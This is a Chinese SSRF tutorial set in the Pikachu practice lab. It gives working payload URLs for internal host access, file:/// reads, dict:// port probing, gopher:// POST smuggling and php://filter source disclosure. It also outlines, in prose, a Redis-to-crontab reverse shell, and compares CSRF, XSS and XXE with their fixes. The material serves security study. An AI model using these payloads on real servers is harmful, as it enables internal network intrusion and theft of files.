1、SSRF形成原因
? ? ? ?SSRF(Server-Side Request Forgery:服務器端請求偽造) 是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。一般情況下,SSRF是要目標網站的內部系統。(因為他是從內部系統訪問的,所有可以通過它攻擊外網無法訪問的內部系統,也就是把目標網站當中間人)
2、SSRF漏洞可利用的用途
可以對外網服務器所在內網、本地進行端口掃描,獲取一些服務的banner信息
攻擊運行在內網或本地的應用程序(比如溢出)
對內網web應用進行指紋識別,通過訪問默認文件實現
攻擊內外網的web應用,主要是使用get參數就可以實現的攻擊(比如struts2,sqli等
利用file協議讀取本地文件等
SSRF攻擊結果由涵數本身來決定,涵數功能越強大,攻擊成功的機會就越高,如:curl_init、file_get_contents、fsockopen
3、如何挖掘ssrf漏洞?
分享:通過URL地址分享網頁內容
轉碼服務
在線翻譯
圖片加載與下載:通過URL地址加載或下載圖片
圖片、文章收藏功能
未公開的api實現以及其他調用URL的功能
從URL關鍵字中尋找:
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
...
?phpstudy選擇5.4.45版本:
打開pikachu靶場環境:
http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php
curl? 函數
curl支持很多協議,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
查看源代碼:
?//接收前端URL沒問題,但是要做好過濾,如果不做過濾,就會導致SSRF
? ? $URL = $_GET['url'];
? ? $CH = curl_init($URL);使用了url參數,未經過濾給了curl_init函數
?
https協議的運用?
?通過添加URL參數url
的值指向第三方百度網頁:(因支持https協議)
http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php?url=https://www.baidu.com
?說明:
IP地址和端口:
10.0.0.101
: 這是一個本地或私有網絡IP地址。:90
: 這是服務器上運行的應用程序的端口號。路徑和文件:
/pikachu/vul/ssrf/ssrf_curl.php
: 這是服務器上的文件路徑。URL參數:
?url=https://www.baidu.com
: 這個URL參數url
的值指向了百度的公共網站。在正常情況下,如果ssrf_curl.php
使用這個參數來發起HTTP請求,它會訪問百度。但在存在SSRF漏洞的情況下,攻擊者可能會利用這個參數構造惡意請求,指向內部網絡資源,從而獲取未授權的數據。
?http協議的運用
也可以通過ssrf攻擊訪問內網其他主機:(http協議)
如:訪問內網win10主機的根目錄所有網站信息:
http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php?url=http://10.0.0.103:99
內網win2003主機 ?http://10.0.0.101:90/
內網win10主機? ?http://10.0.0.103:99/?
?成功顯示網站信息:
file協議的運用
通過file讀取文件信息:
如讀取目標主機c盤下2024.txt文件內容
http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/2024.txt
成功讀取2024.txt文件內容?
dict協議的運用
?通過dict探測端口:
http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php?url=dict://10.0.0.103:99
?輸入不存在的端口號,網頁不顯示內容:
http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php?url=dict://10.0.0.103:8080
可通過抓包工具設置端口變量跑端口?
?gopher協議的運用
簡要介紹:gopher協議是比http協議更早出現的協議,現在已經不常用了,但是在SSRF漏洞利用中gopher可以說是萬金油,因為可以使用gopher發送各種格式的請求包,這樣變可以解決漏洞點不在GET參數的問題了。?
進行如下請求可以發送一個POST請求,且參數cmd的值為balabal,這里構造gopher請求的時候,回車換行符號要進行2次url編碼%250d%250a
http://192.168.0.100/ssrf1.php?url=gopher://192.168.0.105:8080/_POST%20/test.php%20HTTP/1.1%250d%250aHost:%20192.168.0.105:8080%250d%250aUser-Agent:%20curl/7.43.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250aid=1
此時可以在192.168.0.105主機中的access.log,找到訪問日志。
當然也可以使用網絡數據包分析工具,抓取TCP流量中HTTP的數據,這里我使用的是 burp。
?bp請求包內容等同于:
POST%20/test.php%20HTTP/1.1%250d%250aHost:%20192.168.0.105:8080%250d%250aUser-Agent:%20curl/7.43.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250aid=1
由于gopher可以構造各種HTTP請求包,所以gopher在SSRF漏洞利用中充當萬金油的角色
file_get_contents()
?函數
file_get_contents()
?函數在PHP中支持多種協議,不僅可以用于讀取本地文件,還可以用于獲取遠程資源。以下是它支持的一些常見協議:
- file:用于讀取本地文件系統中的文件,例如?
file:///path/to/file.txt
。- http:用于從HTTP服務器獲取內容,如?
http://www.example.com/page.html
。- https:用于從HTTPS服務器安全地獲取內容,如?
https://www.example.com/secure_page.php
。- ftp:用于從FTP服務器下載文件,需要服務器支持被動模式(FTP_PASV)以繞過一些防火墻限制。
- ftps:用于通過FTP的SSL/TLS加密層安全地下載文件。
- data:用于處理
data:
URI,這種URI可以直接在HTTP請求中包含小量數據,例如圖片或文本。- phar:用于讀取PHP的Phar歸檔文件。
- compress.zlib?和?compress.bzip2:用于解壓縮通過zlib或bzip2壓縮的文件。
- env:用于獲取環境變量的值。
?打開pikachu靶場環境--點擊ssrf--file_get_contents():
http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_fgc.phpfile_get_contents
?http協議應用
訪問百度
http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_fgc.php?file=http://www.baidu.com
?讀取當前目錄下ssrf.php源代碼(并進行base64編碼):
?file=php://filter/read=convert.base64-encode/resource=ssrf.php
當前目錄下的ssrf.php
添加 ../ 可以訪問上級目錄的文件,如../lan.php
http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php
?讀取成功,
復制讀取到的源碼進行解碼:
PD9waHAKLyoqCiAqIENyZWF0ZWQgYnkgcnVubmVyLmhhbgogKiBUaGVyZSBpcyBub3RoaW5nIG5ldyB1bmRlciB0aGUgc3VuCiAqLwoKCiRTRUxGX1BBR0UgPSBzdWJzdHIoJF9TRVJWRVJbJ1BIUF9TRUxGJ10sc3RycnBvcygkX1NFUlZFUlsnUEhQX1NFTEYnXSwnLycpKzEpOwoKaWYgKCRTRUxGX1BBR0UgPSAic3NyZi5waHAiKXsKICAgICRBQ1RJVkUgPSBhcnJheSgnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnYWN0aXZlIG9wZW4nLCdhY3RpdmUnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnKTsKfQoKJFBJS0FfUk9PVF9ESVIgPSAgIi4uLy4uLyI7CmluY2x1ZGVfb25jZSAkUElLQV9ST09UX0RJUi4naGVhZGVyLnBocCc7CgoKCgoKCj8+CgoKPGRpdiBjbGFzcz0ibWFpbi1jb250ZW50Ij4KICAgIDxkaXYgY2xhc3M9Im1haW4tY29udGVudC1pbm5lciI+CiAgICAgICAgPGRpdiBjbGFzcz0iYnJlYWRjcnVtYnMgYWNlLXNhdmUtc3RhdGUiIGlkPSJicmVhZGNydW1icyI+CiAgICAgICAgICAgIDx1bCBjbGFzcz0iYnJlYWRjcnVtYiI+CiAgICAgICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImFjZS1pY29uIGZhIGZhLWhvbWUgaG9tZS1pY29uIj48L2k+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0ic3NyZi5waHAiPjwvYT4KICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9ImFjdGl2ZSI+5qaC6L+wPC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWNvbnRlbnQiPgoKICAgICAgICAgPGI+U1NSRihTZXJ2ZXItU2lkZSBSZXF1ZXN0IEZvcmdlcnk65pyN5Yqh5Zmo56uv6K+35rGC5Lyq6YCgKTwvYj4KICAgICAgICAgPHA+5YW25b2i5oiQ55qE5Y6f5Zug5aSn6YO95piv55Sx5LqO5pyN5Yqh56uvPGI+5o+Q5L6b5LqG5LuO5YW25LuW5pyN5Yqh5Zmo5bqU55So6I635Y+W5pWw5o2u55qE5Yqf6IO9PC9iPizkvYblj4jmsqHmnInlr7nnm67moIflnLDlnYDlgZrkuKXmoLzov4fmu6TkuI7pmZDliLY8L3A+CiAgICAgICAgICAgIOWvvOiHtOaUu+WHu+iAheWPr+S7peS8oOWFpeS7u+aEj+eahOWcsOWdgOadpeiuqeWQjuerr+acjeWKoeWZqOWvueWFtuWPkei1t+ivt+axgizlubbov5Tlm57lr7nor6Xnm67moIflnLDlnYDor7fmsYLnmoTmlbDmja48YnI+CiAgICAgICAgICAgIDxicj4KICAgICAgICAgICAg5pWw5o2u5rWBOuaUu+WHu+iAhS0tLS0tPuacjeWKoeWZqC0tLS0+55uu5qCH5Zyw5Z2APGJyPgogICAgICAgICAgICA8YnI+CiAgICAgICAgICAgIOagueaNruWQjuWPsOS9v+eUqOeahOWHveaVsOeahOS4jeWQjCzlr7nlupTnmoTlvbHlk43lkozliKnnlKjmlrnms5Xlj4jmnInkuI3kuIDmoLcKICAgICAgICAgICAgPHByZSBzdHlsZT0id2lkdGg6IDUwMHB4OyI+ClBIUOS4reS4i+mdouWHveaVsOeahOS9v+eUqOS4jeW9k+S8muWvvOiHtFNTUkY6CmZpbGVfZ2V0X2NvbnRlbnRzKCkKZnNvY2tvcGVuKCkKY3VybF9leGVjKCkKICAgICAgICAgICAgPC9wcmU+PGJyPgogICAgICAgICAgICDlpoLmnpzkuIDlrpropoHpgJrov4flkI7lj7DmnI3liqHlmajov5znqIvljrvlr7nnlKjmiLfmjIflrpooIuaIluiAhemihOWfi+WcqOWJjeerr+eahOivt+axgiIp55qE5Zyw5Z2A6L+b6KGM6LWE5rqQ6K+35rGCLDxiPuWImeivt+WBmuWlveebruagh+WcsOWdgOeahOi/h+a7pDwvYj7jgIIKPGJyPgogICAgICAgICAgICA8YnI+CgogICAgICAgICAgICDkvaDlj6/ku6XmoLnmja4iU1NSRiLph4zpnaLnmoTpobnnm67mnaXmkJ7mh4Lpl67popjnmoTljp/lm6AKCiAgICAgICAgPC9kaXY+PCEtLSAvLnBhZ2UtY29udGVudCAtLT4KICAgIDwvZGl2Pgo8L2Rpdj48IS0tIC8ubWFpbi1jb250ZW50IC0tPgoKCgo8P3BocAppbmNsdWRlX29uY2UgJFBJS0FfUk9PVF9ESVIgLiAnZm9vdGVyLnBocCc7Cgo/Pgo=
?成功獲取到源代碼:
4、ssrf 怎么用 redis 寫 shell ?
(1)SSRF 服務端請求偽造
一、對內網掃描,獲取 banner
二、攻擊運行在內網的應用,主要是使用 GET 參數就可以實現的攻擊(比如 Struts2,sqli 等)
三、利用協議讀取本地文件
四、云計算環境 AWS Google Cloud 環境可以調用內網操作 ECS 的 API
(2)如 webligic SSRF 漏洞通過 SSRF 的 gopher 協議操作內網的 redis,利用 redis 將反彈 shell 寫入 crontab 定時任務,url 編碼,將\r 字符串替換成%0d%0a https://www.jianshu.com/p/42a3bb2b2c2c?
5、CSRF 和 XSS 和 XXE 有什么區別,以及修復方式?
-
XSS 是跨站腳本攻擊,用戶提交的數據中可以構造代碼來執行,從而實現竊取用戶信息等攻擊。修復方式:對字符實體進行轉義、使用 HTTP Only 來禁止 JavaScript 讀取 Cookie 值、輸入時校驗、輸出時采用 html 實體編碼。
-
CSRF 是跨站請求偽造攻擊,XSS 是實現 CSRF 的諸多手段中的一種,是由于沒有在關鍵操作執行時進行是否由用戶自愿發起的確認。修復方式:篩選出需要防范 CSRF 的頁面然后嵌入 Token、再次輸入密碼、檢驗 Referer
-
XXE 是 XML 外部實體注入攻擊,XML 中可以通過調用實體來請求本地或者遠程內容,和遠程文件保護類似,會引發相關安全問題,例如敏感文件讀取。修復方式:XML 解析庫在調用時嚴格禁止對外部實體的解析。
-
重點:
?6、XXS與SSRF的區別?
SSRF屬于服務端攻擊,無需輸出就能攻擊,利用dnslog來實現攻擊的,結果值在dnslog日志體現; XSS屬于客戶端攻擊,必須有輸入和輸出,xss不需要登陸就可以實現腳本攻擊
?7、CSRF、SSRF 和重放攻擊有什么區別?
CSRF 是跨站請求偽造攻擊,由客戶端發起;是在建立會話的過程點擊;攻擊客戶端; SSRF 是服務器端請求偽造,由服務器發起;不需要建立會話過程,是攻擊內網 重放攻擊是將截獲的數據包進行重放,達到身份認證等目的
聲明:
- 此文章只做技術研究,謹遵守國家相關法律法規,請勿用于違法用途,如果您對文章內容有疑問,可以嘗試留言私信,如有侵權請聯系小編處理。